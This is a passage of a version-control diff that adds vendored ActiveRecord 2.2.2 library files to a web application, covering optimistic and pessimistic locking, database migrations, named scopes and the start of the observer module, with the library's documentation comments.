+        self.class.locking_enabled?
+      end
+
+      private
+        def attributes_from_column_definition_with_lock
+          result = attributes_from_column_definition_without_lock
+
+          # If the locking column has no default value set,
+          # start the lock version at zero.  Note we can't use
+          # locking_enabled? at this point as @attributes may
+          # not have been initialized yet
+
+          if lock_optimistically && result.include?(self.class.locking_column)
+            result[self.class.locking_column] ||= 0
+          end
+
+          return result
+        end
+
+        def update_with_lock(attribute_names = @attributes.keys) #:nodoc:
+          return update_without_lock(attribute_names) unless locking_enabled?
+          return 0 if attribute_names.empty?
+
+          lock_col = self.class.locking_column
+          previous_value = send(lock_col).to_i
+          send(lock_col + '=', previous_value + 1)
+
+          attribute_names += [lock_col]
+          attribute_names.uniq!
+
+          begin
+            affected_rows = connection.update(<<-end_sql, "#{self.class.name} Update with optimistic locking")
+              UPDATE #{self.class.quoted_table_name}
+              SET #{quoted_comma_pair_list(connection, attributes_with_quotes(false, false, attribute_names))}
+              WHERE #{self.class.primary_key} = #{quote_value(id)}
+              AND #{self.class.quoted_locking_column} = #{quote_value(previous_value)}
+            end_sql
+
+            unless affected_rows == 1
+              raise ActiveRecord::StaleObjectError, "Attempted to update a stale object"
+            end
+
+            affected_rows
+
+          # If something went wrong, revert the version.
+          rescue Exception
+            send(lock_col + '=', previous_value)
+            raise
+          end
+        end
+
+      module ClassMethods
+        DEFAULT_LOCKING_COLUMN = 'lock_version'
+
+        def self.extended(base)
+          class <<base
+            alias_method_chain :update_counters, :lock
+          end
+        end
+
+        # Is optimistic locking enabled for this table? Returns true if the
+        # +lock_optimistically+ flag is set to true (which it is, by default)
+        # and the table includes the +locking_column+ column (defaults to
+        # +lock_version+).
+        def locking_enabled?
+          lock_optimistically && columns_hash[locking_column]
+        end
+
+        # Set the column to use for optimistic locking. Defaults to +lock_version+.
+        def set_locking_column(value = nil, &block)
+          define_attr_method :locking_column, value, &block
+          value
+        end
+
+        # The version column used for optimistic locking. Defaults to +lock_version+.
+        def locking_column
+          reset_locking_column
+        end
+
+        # Quote the column name used for optimistic locking.
+        def quoted_locking_column
+          connection.quote_column_name(locking_column)
+        end
+
+        # Reset the column used for optimistic locking back to the +lock_version+ default.
+        def reset_locking_column
+          set_locking_column DEFAULT_LOCKING_COLUMN
+        end
+
+        # Make sure the lock version column gets updated when counters are
+        # updated.
+        def update_counters_with_lock(id, counters)
+          counters = counters.merge(locking_column => 1) if locking_enabled?
+          update_counters_without_lock(id, counters)
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/locking/pessimistic.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/locking/pessimistic.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/locking/pessimistic.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,77 @@
+# Copyright (c) 2006 Shugo Maeda <shugo at ruby-lang.org>
+#
+# Permission is hereby granted, free of charge, to any person obtaining
+# a copy of this software and associated documentation files (the
+# "Software"), to deal in the Software without restriction, including
+# without limitation the rights to use, copy, modify, merge, publish,
+# distribute, sublicense, and/or sell copies of the Software, and to
+# permit persons to whom the Software is furnished to do so, subject
+# to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
+# IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR
+# ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF
+# CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+
+module ActiveRecord
+  module Locking
+    # Locking::Pessimistic provides support for row-level locking using
+    # SELECT ... FOR UPDATE and other lock types.
+    #
+    # Pass <tt>:lock => true</tt> to ActiveRecord::Base.find to obtain an exclusive
+    # lock on the selected rows:
+    #   # select * from accounts where id=1 for update
+    #   Account.find(1, :lock => true)
+    #
+    # Pass <tt>:lock => 'some locking clause'</tt> to give a database-specific locking clause
+    # of your own such as 'LOCK IN SHARE MODE' or 'FOR UPDATE NOWAIT'.
+    #
+    # Example:
+    #   Account.transaction do
+    #     # select * from accounts where name = 'shugo' limit 1 for update
+    #     shugo = Account.find(:first, :conditions => "name = 'shugo'", :lock => true)
+    #     yuko = Account.find(:first, :conditions => "name = 'yuko'", :lock => true)
+    #     shugo.balance -= 100
+    #     shugo.save!
+    #     yuko.balance += 100
+    #     yuko.save!
+    #   end
+    #
+    # You can also use ActiveRecord::Base#lock! method to lock one record by id.
+    # This may be better if you don't need to lock every row. Example:
+    #   Account.transaction do
+    #     # select * from accounts where ...
+    #     accounts = Account.find(:all, :conditions => ...)
+    #     account1 = accounts.detect { |account| ... }
+    #     account2 = accounts.detect { |account| ... }
+    #     # select * from accounts where id=? for update
+    #     account1.lock!
+    #     account2.lock!
+    #     account1.balance -= 100
+    #     account1.save!
+    #     account2.balance += 100
+    #     account2.save!
+    #   end
+    #
+    # Database-specific information on row locking:
+    #   MySQL: http://dev.mysql.com/doc/refman/5.1/en/innodb-locking-reads.html
+    #   PostgreSQL: http://www.postgresql.org/docs/8.1/interactive/sql-select.html#SQL-FOR-UPDATE-SHARE
+    module Pessimistic
+      # Obtain a row lock on this record. Reloads the record to obtain the requested
+      # lock. Pass an SQL locking clause to append the end of the SELECT statement
+      # or pass true for "FOR UPDATE" (the default, an exclusive row lock).  Returns
+      # the locked record.
+      def lock!(lock = true)
+        reload(:lock => lock) unless new_record?
+        self
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/migration.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/migration.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/migration.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,560 @@
+module ActiveRecord
+  class IrreversibleMigration < ActiveRecordError#:nodoc:
+  end
+
+  class DuplicateMigrationVersionError < ActiveRecordError#:nodoc:
+    def initialize(version)
+      super("Multiple migrations have the version number #{version}")
+    end
+  end
+
+  class DuplicateMigrationNameError < ActiveRecordError#:nodoc:
+    def initialize(name)
+      super("Multiple migrations have the name #{name}")
+    end
+  end
+
+  class UnknownMigrationVersionError < ActiveRecordError #:nodoc:
+    def initialize(version)
+      super("No migration with version number #{version}")
+    end
+  end
+
+  class IllegalMigrationNameError < ActiveRecordError#:nodoc:
+    def initialize(name)
+      super("Illegal name for migration file: #{name}\n\t(only lower case letters, numbers, and '_' allowed)")
+    end
+  end
+
+  # Migrations can manage the evolution of a schema used by several physical databases. It's a solution
+  # to the common problem of adding a field to make a new feature work in your local database, but being unsure of how to
+  # push that change to other developers and to the production server. With migrations, you can describe the transformations
+  # in self-contained classes that can be checked into version control systems and executed against another database that
+  # might be one, two, or five versions behind.
+  #
+  # Example of a simple migration:
+  #
+  #   class AddSsl < ActiveRecord::Migration
+  #     def self.up
+  #       add_column :accounts, :ssl_enabled, :boolean, :default => 1
+  #     end
+  #
+  #     def self.down
+  #       remove_column :accounts, :ssl_enabled
+  #     end
+  #   end
+  #
+  # This migration will add a boolean flag to the accounts table and remove it if you're backing out of the migration.
+  # It shows how all migrations have two class methods +up+ and +down+ that describes the transformations required to implement
+  # or remove the migration. These methods can consist of both the migration specific methods like add_column and remove_column,
+  # but may also contain regular Ruby code for generating data needed for the transformations.
+  #
+  # Example of a more complex migration that also needs to initialize data:
+  #
+  #   class AddSystemSettings < ActiveRecord::Migration
+  #     def self.up
+  #       create_table :system_settings do |t|
+  #         t.string  :name
+  #         t.string  :label
+  #         t.text  :value
+  #         t.string  :type
+  #         t.integer  :position
+  #       end
+  #
+  #       SystemSetting.create :name => "notice", :label => "Use notice?", :value => 1
+  #     end
+  #
+  #     def self.down
+  #       drop_table :system_settings
+  #     end
+  #   end
+  #
+  # This migration first adds the system_settings table, then creates the very first row in it using the Active Record model
+  # that relies on the table. It also uses the more advanced create_table syntax where you can specify a complete table schema
+  # in one block call.
+  #
+  # == Available transformations
+  #
+  # * <tt>create_table(name, options)</tt> Creates a table called +name+ and makes the table object available to a block
+  #   that can then add columns to it, following the same format as add_column. See example above. The options hash is for
+  #   fragments like "DEFAULT CHARSET=UTF-8" that are appended to the create table definition.
+  # * <tt>drop_table(name)</tt>: Drops the table called +name+.
+  # * <tt>rename_table(old_name, new_name)</tt>: Renames the table called +old_name+ to +new_name+.
+  # * <tt>add_column(table_name, column_name, type, options)</tt>: Adds a new column to the table called +table_name+
+  #   named +column_name+ specified to be one of the following types:
+  #   <tt>:string</tt>, <tt>:text</tt>, <tt>:integer</tt>, <tt>:float</tt>, <tt>:decimal</tt>, <tt>:datetime</tt>, <tt>:timestamp</tt>, <tt>:time</tt>,
+  #   <tt>:date</tt>, <tt>:binary</tt>, <tt>:boolean</tt>. A default value can be specified by passing an
+  #   +options+ hash like <tt>{ :default => 11 }</tt>. Other options include <tt>:limit</tt> and <tt>:null</tt> (e.g. <tt>{ :limit => 50, :null => false }</tt>)
+  #   -- see ActiveRecord::ConnectionAdapters::TableDefinition#column for details.
+  # * <tt>rename_column(table_name, column_name, new_column_name)</tt>: Renames a column but keeps the type and content.
+  # * <tt>change_column(table_name, column_name, type, options)</tt>:  Changes the column to a different type using the same
+  #   parameters as add_column.
+  # * <tt>remove_column(table_name, column_name)</tt>: Removes the column named +column_name+ from the table called +table_name+.
+  # * <tt>add_index(table_name, column_names, options)</tt>: Adds a new index with the name of the column. Other options include
+  #   <tt>:name</tt> and <tt>:unique</tt> (e.g. <tt>{ :name => "users_name_index", :unique => true }</tt>).
+  # * <tt>remove_index(table_name, index_name)</tt>: Removes the index specified by +index_name+.
+  #
+  # == Irreversible transformations
+  #
+  # Some transformations are destructive in a manner that cannot be reversed. Migrations of that kind should raise
+  # an <tt>ActiveRecord::IrreversibleMigration</tt> exception in their +down+ method.
+  #
+  # == Running migrations from within Rails
+  #
+  # The Rails package has several tools to help create and apply migrations.
+  #
+  # To generate a new migration, you can use 
+  #   script/generate migration MyNewMigration
+  #
+  # where MyNewMigration is the name of your migration. The generator will
+  # create an empty migration file <tt>nnn_my_new_migration.rb</tt> in the <tt>db/migrate/</tt>
+  # directory where <tt>nnn</tt> is the next largest migration number.
+  #
+  # You may then edit the <tt>self.up</tt> and <tt>self.down</tt> methods of
+  # MyNewMigration.
+  #
+  # There is a special syntactic shortcut to generate migrations that add fields to a table.
+  #   script/generate migration add_fieldname_to_tablename fieldname:string
+  #
+  # This will generate the file <tt>nnn_add_fieldname_to_tablename</tt>, which will look like this:
+  #   class AddFieldnameToTablename < ActiveRecord::Migration
+  #     def self.up
+  #       add_column :tablenames, :fieldname, :string
+  #     end
+  # 
+  #     def self.down
+  #       remove_column :tablenames, :fieldname
+  #     end
+  #   end
+  # 
+  # To run migrations against the currently configured database, use
+  # <tt>rake db:migrate</tt>. This will update the database by running all of the
+  # pending migrations, creating the <tt>schema_migrations</tt> table
+  # (see "About the schema_migrations table" section below) if missing.
+  #
+  # To roll the database back to a previous migration version, use
+  # <tt>rake db:migrate VERSION=X</tt> where <tt>X</tt> is the version to which
+  # you wish to downgrade. If any of the migrations throw an
+  # <tt>ActiveRecord::IrreversibleMigration</tt> exception, that step will fail and you'll
+  # have some manual work to do.
+  #
+  # == Database support
+  #
+  # Migrations are currently supported in MySQL, PostgreSQL, SQLite,
+  # SQL Server, Sybase, and Oracle (all supported databases except DB2).
+  #
+  # == More examples
+  #
+  # Not all migrations change the schema. Some just fix the data:
+  #
+  #   class RemoveEmptyTags < ActiveRecord::Migration
+  #     def self.up
+  #       Tag.find(:all).each { |tag| tag.destroy if tag.pages.empty? }
+  #     end
+  #
+  #     def self.down
+  #       # not much we can do to restore deleted data
+  #       raise ActiveRecord::IrreversibleMigration, "Can't recover the deleted tags"
+  #     end
+  #   end
+  #
+  # Others remove columns when they migrate up instead of down:
+  #
+  #   class RemoveUnnecessaryItemAttributes < ActiveRecord::Migration
+  #     def self.up
+  #       remove_column :items, :incomplete_items_count
+  #       remove_column :items, :completed_items_count
+  #     end
+  #
+  #     def self.down
+  #       add_column :items, :incomplete_items_count
+  #       add_column :items, :completed_items_count
+  #     end
+  #   end
+  #
+  # And sometimes you need to do something in SQL not abstracted directly by migrations:
+  #
+  #   class MakeJoinUnique < ActiveRecord::Migration
+  #     def self.up
+  #       execute "ALTER TABLE `pages_linked_pages` ADD UNIQUE `page_id_linked_page_id` (`page_id`,`linked_page_id`)"
+  #     end
+  #
+  #     def self.down
+  #       execute "ALTER TABLE `pages_linked_pages` DROP INDEX `page_id_linked_page_id`"
+  #     end
+  #   end
+  #
+  # == Using a model after changing its table
+  #
+  # Sometimes you'll want to add a column in a migration and populate it immediately after. In that case, you'll need
+  # to make a call to Base#reset_column_information in order to ensure that the model has the latest column data from
+  # after the new column was added. Example:
+  #
+  #   class AddPeopleSalary < ActiveRecord::Migration
+  #     def self.up
+  #       add_column :people, :salary, :integer
+  #       Person.reset_column_information
+  #       Person.find(:all).each do |p|
+  #         p.update_attribute :salary, SalaryCalculator.compute(p)
+  #       end
+  #     end
+  #   end
+  #
+  # == Controlling verbosity
+  #
+  # By default, migrations will describe the actions they are taking, writing
+  # them to the console as they happen, along with benchmarks describing how
+  # long each step took.
+  #
+  # You can quiet them down by setting ActiveRecord::Migration.verbose = false.
+  #
+  # You can also insert your own messages and benchmarks by using the +say_with_time+
+  # method:
+  #
+  #   def self.up
+  #     ...
+  #     say_with_time "Updating salaries..." do
+  #       Person.find(:all).each do |p|
+  #         p.update_attribute :salary, SalaryCalculator.compute(p)
+  #       end
+  #     end
+  #     ...
+  #   end
+  #
+  # The phrase "Updating salaries..." would then be printed, along with the
+  # benchmark for the block when the block completes.
+  #
+  # == About the schema_migrations table
+  #
+  # Rails versions 2.0 and prior used to create a table called
+  # <tt>schema_info</tt> when using migrations. This table contained the
+  # version of the schema as of the last applied migration.
+  #
+  # Starting with Rails 2.1, the <tt>schema_info</tt> table is
+  # (automatically) replaced by the <tt>schema_migrations</tt> table, which
+  # contains the version numbers of all the migrations applied.
+  #
+  # As a result, it is now possible to add migration files that are numbered
+  # lower than the current schema version: when migrating up, those
+  # never-applied "interleaved" migrations will be automatically applied, and
+  # when migrating down, never-applied "interleaved" migrations will be skipped.
+  # 
+  # == Timestamped Migrations
+  #
+  # By default, Rails generates migrations that look like:
+  #
+  #    20080717013526_your_migration_name.rb
+  #
+  # The prefix is a generation timestamp (in UTC).
+  #
+  # If you'd prefer to use numeric prefixes, you can turn timestamped migrations
+  # off by setting:
+  #
+  #    config.active_record.timestamped_migrations = false
+  # 
+  # In environment.rb.
+  #
+  class Migration
+    @@verbose = true
+    cattr_accessor :verbose
+
+    class << self
+      def up_with_benchmarks #:nodoc:
+        migrate(:up)
+      end
+
+      def down_with_benchmarks #:nodoc:
+        migrate(:down)
+      end
+
+      # Execute this migration in the named direction
+      def migrate(direction)
+        return unless respond_to?(direction)
+
+        case direction
+          when :up   then announce "migrating"
+          when :down then announce "reverting"
+        end
+
+        result = nil
+        time = Benchmark.measure { result = send("#{direction}_without_benchmarks") }
+
+        case direction
+          when :up   then announce "migrated (%.4fs)" % time.real; write
+          when :down then announce "reverted (%.4fs)" % time.real; write
+        end
+
+        result
+      end
+
+      # Because the method added may do an alias_method, it can be invoked
+      # recursively. We use @ignore_new_methods as a guard to indicate whether
+      # it is safe for the call to proceed.
+      def singleton_method_added(sym) #:nodoc:
+        return if defined?(@ignore_new_methods) && @ignore_new_methods
+
+        begin
+          @ignore_new_methods = true
+
+          case sym
+            when :up, :down
+              klass = (class << self; self; end)
+              klass.send(:alias_method_chain, sym, "benchmarks")
+          end
+        ensure
+          @ignore_new_methods = false
+        end
+      end
+
+      def write(text="")
+        puts(text) if verbose
+      end
+
+      def announce(message)
+        text = "#{@version} #{name}: #{message}"
+        length = [0, 75 - text.length].max
+        write "== %s %s" % [text, "=" * length]
+      end
+
+      def say(message, subitem=false)
+        write "#{subitem ? "   ->" : "--"} #{message}"
+      end
+
+      def say_with_time(message)
+        say(message)
+        result = nil
+        time = Benchmark.measure { result = yield }
+        say "%.4fs" % time.real, :subitem
+        say("#{result} rows", :subitem) if result.is_a?(Integer)
+        result
+      end
+
+      def suppress_messages
+        save, self.verbose = verbose, false
+        yield
+      ensure
+        self.verbose = save
+      end
+
+      def method_missing(method, *arguments, &block)
+        arg_list = arguments.map(&:inspect) * ', '
+
+        say_with_time "#{method}(#{arg_list})" do
+          unless arguments.empty? || method == :execute
+            arguments[0] = Migrator.proper_table_name(arguments.first)
+          end
+          ActiveRecord::Base.connection.send(method, *arguments, &block)
+        end
+      end
+    end
+  end
+
+  # MigrationProxy is used to defer loading of the actual migration classes
+  # until they are needed
+  class MigrationProxy
+
+    attr_accessor :name, :version, :filename
+
+    delegate :migrate, :announce, :write, :to=>:migration
+
+    private
+
+      def migration
+        @migration ||= load_migration
+      end
+
+      def load_migration
+        load(filename)
+        name.constantize
+      end
+
+  end
+
+  class Migrator#:nodoc:
+    class << self
+      def migrate(migrations_path, target_version = nil)
+        case
+          when target_version.nil?              then up(migrations_path, target_version)
+          when current_version > target_version then down(migrations_path, target_version)
+          else                                       up(migrations_path, target_version)
+        end
+      end
+
+      def rollback(migrations_path, steps=1)
+        migrator = self.new(:down, migrations_path)
+        start_index = migrator.migrations.index(migrator.current_migration)
+        
+        return unless start_index
+        
+        finish = migrator.migrations[start_index + steps]
+        down(migrations_path, finish ? finish.version : 0)
+      end
+
+      def up(migrations_path, target_version = nil)
+        self.new(:up, migrations_path, target_version).migrate
+      end
+
+      def down(migrations_path, target_version = nil)
+        self.new(:down, migrations_path, target_version).migrate
+      end
+      
+      def run(direction, migrations_path, target_version)
+        self.new(direction, migrations_path, target_version).run
+      end
+
+      def schema_migrations_table_name
+        Base.table_name_prefix + 'schema_migrations' + Base.table_name_suffix
+      end
+
+      def get_all_versions
+        Base.connection.select_values("SELECT version FROM #{schema_migrations_table_name}").map(&:to_i).sort
+      end
+
+      def current_version
+        sm_table = schema_migrations_table_name
+        if Base.connection.table_exists?(sm_table)
+          get_all_versions.max || 0
+        else
+          0
+        end
+      end
+
+      def proper_table_name(name)
+        # Use the Active Record objects own table_name, or pre/suffix from ActiveRecord::Base if name is a symbol/string
+        name.table_name rescue "#{ActiveRecord::Base.table_name_prefix}#{name}#{ActiveRecord::Base.table_name_suffix}"
+      end
+    end
+
+    def initialize(direction, migrations_path, target_version = nil)
+      raise StandardError.new("This database does not yet support migrations") unless Base.connection.supports_migrations?
+      Base.connection.initialize_schema_migrations_table
+      @direction, @migrations_path, @target_version = direction, migrations_path, target_version      
+    end
+
+    def current_version
+      migrated.last || 0
+    end
+    
+    def current_migration
+      migrations.detect { |m| m.version == current_version }
+    end
+    
+    def run
+      target = migrations.detect { |m| m.version == @target_version }
+      raise UnknownMigrationVersionError.new(@target_version) if target.nil?
+      unless (up? && migrated.include?(target.version.to_i)) || (down? && !migrated.include?(target.version.to_i))
+        target.migrate(@direction)
+        record_version_state_after_migrating(target.version)
+      end
+    end
+
+    def migrate
+      current = migrations.detect { |m| m.version == current_version }
+      target = migrations.detect { |m| m.version == @target_version }
+
+      if target.nil? && !@target_version.nil? && @target_version > 0
+        raise UnknownMigrationVersionError.new(@target_version)
+      end
+      
+      start = up? ? 0 : (migrations.index(current) || 0)
+      finish = migrations.index(target) || migrations.size - 1
+      runnable = migrations[start..finish]
+      
+      # skip the last migration if we're headed down, but not ALL the way down
+      runnable.pop if down? && !target.nil?
+      
+      runnable.each do |migration|
+        Base.logger.info "Migrating to #{migration.name} (#{migration.version})"
+
+        # On our way up, we skip migrating the ones we've already migrated
+        next if up? && migrated.include?(migration.version.to_i)
+
+        # On our way down, we skip reverting the ones we've never migrated
+        if down? && !migrated.include?(migration.version.to_i)
+          migration.announce 'never migrated, skipping'; migration.write
+          next
+        end
+
+        begin
+          ddl_transaction do
+            migration.migrate(@direction)
+            record_version_state_after_migrating(migration.version)
+          end
+        rescue => e
+          canceled_msg = Base.connection.supports_ddl_transactions? ? "this and " : ""
+          raise StandardError, "An error has occurred, #{canceled_msg}all later migrations canceled:\n\n#{e}", e.backtrace
+        end
+      end
+    end
+
+    def migrations
+      @migrations ||= begin
+        files = Dir["#{@migrations_path}/[0-9]*_*.rb"]
+        
+        migrations = files.inject([]) do |klasses, file|
+          version, name = file.scan(/([0-9]+)_([_a-z0-9]*).rb/).first
+          
+          raise IllegalMigrationNameError.new(file) unless version
+          version = version.to_i
+          
+          if klasses.detect { |m| m.version == version }
+            raise DuplicateMigrationVersionError.new(version) 
+          end
+
+          if klasses.detect { |m| m.name == name.camelize }
+            raise DuplicateMigrationNameError.new(name.camelize) 
+          end
+          
+          klasses << returning(MigrationProxy.new) do |migration|
+            migration.name     = name.camelize
+            migration.version  = version
+            migration.filename = file
+          end
+        end
+        
+        migrations = migrations.sort_by(&:version)
+        down? ? migrations.reverse : migrations
+      end
+    end
+
+    def pending_migrations
+      already_migrated = migrated
+      migrations.reject { |m| already_migrated.include?(m.version.to_i) }
+    end
+
+    def migrated
+      @migrated_versions ||= self.class.get_all_versions
+    end
+
+    private
+      def record_version_state_after_migrating(version)
+        sm_table = self.class.schema_migrations_table_name
+
+        @migrated_versions ||= []
+        if down?
+          @migrated_versions.delete(version.to_i)
+          Base.connection.update("DELETE FROM #{sm_table} WHERE version = '#{version}'")
+        else
+          @migrated_versions.push(version.to_i).sort!
+          Base.connection.insert("INSERT INTO #{sm_table} (version) VALUES ('#{version}')")
+        end
+      end
+
+      def up?
+        @direction == :up
+      end
+
+      def down?
+        @direction == :down
+      end
+
+      # Wrap the migration in a transaction only if supported by the adapter.
+      def ddl_transaction(&block)
+        if Base.connection.supports_ddl_transactions?
+          Base.transaction { block.call }
+        else
+          block.call
+        end
+      end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/named_scope.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/named_scope.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/named_scope.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,181 @@
+module ActiveRecord
+  module NamedScope
+    # All subclasses of ActiveRecord::Base have two named \scopes:
+    # * <tt>all</tt> - which is similar to a <tt>find(:all)</tt> query, and
+    # * <tt>scoped</tt> - which allows for the creation of anonymous \scopes, on the fly: <tt>Shirt.scoped(:conditions => {:color => 'red'}).scoped(:include => :washing_instructions)</tt>
+    #
+    # These anonymous \scopes tend to be useful when procedurally generating complex queries, where passing
+    # intermediate values (scopes) around as first-class objects is convenient.
+    def self.included(base)
+      base.class_eval do
+        extend ClassMethods
+        named_scope :scoped, lambda { |scope| scope }
+      end
+    end
+
+    module ClassMethods
+      def scopes
+        read_inheritable_attribute(:scopes) || write_inheritable_attribute(:scopes, {})
+      end
+
+      # Adds a class method for retrieving and querying objects. A scope represents a narrowing of a database query,
+      # such as <tt>:conditions => {:color => :red}, :select => 'shirts.*', :include => :washing_instructions</tt>.
+      #
+      #   class Shirt < ActiveRecord::Base
+      #     named_scope :red, :conditions => {:color => 'red'}
+      #     named_scope :dry_clean_only, :joins => :washing_instructions, :conditions => ['washing_instructions.dry_clean_only = ?', true]
+      #   end
+      # 
+      # The above calls to <tt>named_scope</tt> define class methods Shirt.red and Shirt.dry_clean_only. Shirt.red, 
+      # in effect, represents the query <tt>Shirt.find(:all, :conditions => {:color => 'red'})</tt>.
+      #
+      # Unlike <tt>Shirt.find(...)</tt>, however, the object returned by Shirt.red is not an Array; it resembles the association object
+      # constructed by a <tt>has_many</tt> declaration. For instance, you can invoke <tt>Shirt.red.find(:first)</tt>, <tt>Shirt.red.count</tt>,
+      # <tt>Shirt.red.find(:all, :conditions => {:size => 'small'})</tt>. Also, just
+      # as with the association objects, named \scopes act like an Array, implementing Enumerable; <tt>Shirt.red.each(&block)</tt>,
+      # <tt>Shirt.red.first</tt>, and <tt>Shirt.red.inject(memo, &block)</tt> all behave as if Shirt.red really was an Array.
+      #
+      # These named \scopes are composable. For instance, <tt>Shirt.red.dry_clean_only</tt> will produce all shirts that are both red and dry clean only.
+      # Nested finds and calculations also work with these compositions: <tt>Shirt.red.dry_clean_only.count</tt> returns the number of garments
+      # for which these criteria obtain. Similarly with <tt>Shirt.red.dry_clean_only.average(:thread_count)</tt>.
+      #
+      # All \scopes are available as class methods on the ActiveRecord::Base descendent upon which the \scopes were defined. But they are also available to
+      # <tt>has_many</tt> associations. If,
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :shirts
+      #   end
+      #
+      # then <tt>elton.shirts.red.dry_clean_only</tt> will return all of Elton's red, dry clean
+      # only shirts.
+      #
+      # Named \scopes can also be procedural:
+      #
+      #   class Shirt < ActiveRecord::Base
+      #     named_scope :colored, lambda { |color|
+      #       { :conditions => { :color => color } }
+      #     }
+      #   end
+      #
+      # In this example, <tt>Shirt.colored('puce')</tt> finds all puce shirts.
+      #
+      # Named \scopes can also have extensions, just as with <tt>has_many</tt> declarations:
+      #
+      #   class Shirt < ActiveRecord::Base
+      #     named_scope :red, :conditions => {:color => 'red'} do
+      #       def dom_id
+      #         'red_shirts'
+      #       end
+      #     end
+      #   end
+      #
+      #
+      # For testing complex named \scopes, you can examine the scoping options using the
+      # <tt>proxy_options</tt> method on the proxy itself.
+      #
+      #   class Shirt < ActiveRecord::Base
+      #     named_scope :colored, lambda { |color|
+      #       { :conditions => { :color => color } }
+      #     }
+      #   end
+      #
+      #   expected_options = { :conditions => { :colored => 'red' } }
+      #   assert_equal expected_options, Shirt.colored('red').proxy_options
+      def named_scope(name, options = {}, &block)
+        name = name.to_sym
+        scopes[name] = lambda do |parent_scope, *args|
+          Scope.new(parent_scope, case options
+            when Hash
+              options
+            when Proc
+              options.call(*args)
+          end, &block)
+        end
+        (class << self; self end).instance_eval do
+          define_method name do |*args|
+            scopes[name].call(self, *args)
+          end
+        end
+      end
+    end
+    
+    class Scope
+      attr_reader :proxy_scope, :proxy_options
+      NON_DELEGATE_METHODS = %w(nil? send object_id class extend find size count sum average maximum minimum paginate first last empty? any? respond_to?).to_set
+      [].methods.each do |m|
+        unless m =~ /^__/ || NON_DELEGATE_METHODS.include?(m.to_s)
+          delegate m, :to => :proxy_found
+        end
+      end
+
+      delegate :scopes, :with_scope, :to => :proxy_scope
+
+      def initialize(proxy_scope, options, &block)
+        [options[:extend]].flatten.each { |extension| extend extension } if options[:extend]
+        extend Module.new(&block) if block_given?
+        @proxy_scope, @proxy_options = proxy_scope, options.except(:extend)
+      end
+
+      def reload
+        load_found; self
+      end
+
+      def first(*args)
+        if args.first.kind_of?(Integer) || (@found && !args.first.kind_of?(Hash))
+          proxy_found.first(*args)
+        else
+          find(:first, *args)
+        end
+      end
+
+      def last(*args)
+        if args.first.kind_of?(Integer) || (@found && !args.first.kind_of?(Hash))
+          proxy_found.last(*args)
+        else
+          find(:last, *args)
+        end
+      end
+
+      def size
+        @found ? @found.length : count
+      end
+
+      def empty?
+        @found ? @found.empty? : count.zero?
+      end
+
+      def respond_to?(method, include_private = false)
+        super || @proxy_scope.respond_to?(method, include_private)
+      end
+
+      def any?
+        if block_given?
+          proxy_found.any? { |*block_args| yield(*block_args) }
+        else
+          !empty?
+        end
+      end
+
+      protected
+      def proxy_found
+        @found || load_found
+      end
+
+      private
+      def method_missing(method, *args, &block)
+        if scopes.include?(method)
+          scopes[method].call(self, *args)
+        else
+          with_scope :find => proxy_options, :create => proxy_options[:conditions].is_a?(Hash) ?  proxy_options[:conditions] : {} do
+            method = :new if method == :build
+            proxy_scope.send(method, *args, &block)
+          end
+        end
+      end
+
+      def load_found
+        @found = find(:all)
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/observer.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/observer.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/observer.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,197 @@
+require 'singleton'
+require 'set'
+
+module ActiveRecord
+  module Observing # :nodoc:
+    def self.included(base)
+      base.extend ClassMethods
+    end
+
+    module ClassMethods
+      # Activates the observers assigned. Examples:
+      #
+      #   # Calls PersonObserver.instance
+      #   ActiveRecord::Base.observers = :person_observer
+      #
+      #   # Calls Cacher.instance and GarbageCollector.instance
+      #   ActiveRecord::Base.observers = :cacher, :garbage_collector
+      #
+      #   # Same as above, just using explicit class references
+      #   ActiveRecord::Base.observers = Cacher, GarbageCollector
+      #
+      # Note: Setting this does not instantiate the observers yet. +instantiate_observers+ is
+      # called during startup, and before each development request.
+      def observers=(*observers)
+        @observers = observers.flatten
+      end
+
+      # Gets the current observers.
+      def observers
+        @observers ||= []
+      end
+
+      # Instantiate the global Active Record observers.
+      def instantiate_observers
+        return if @observers.blank?
+        @observers.each do |observer|
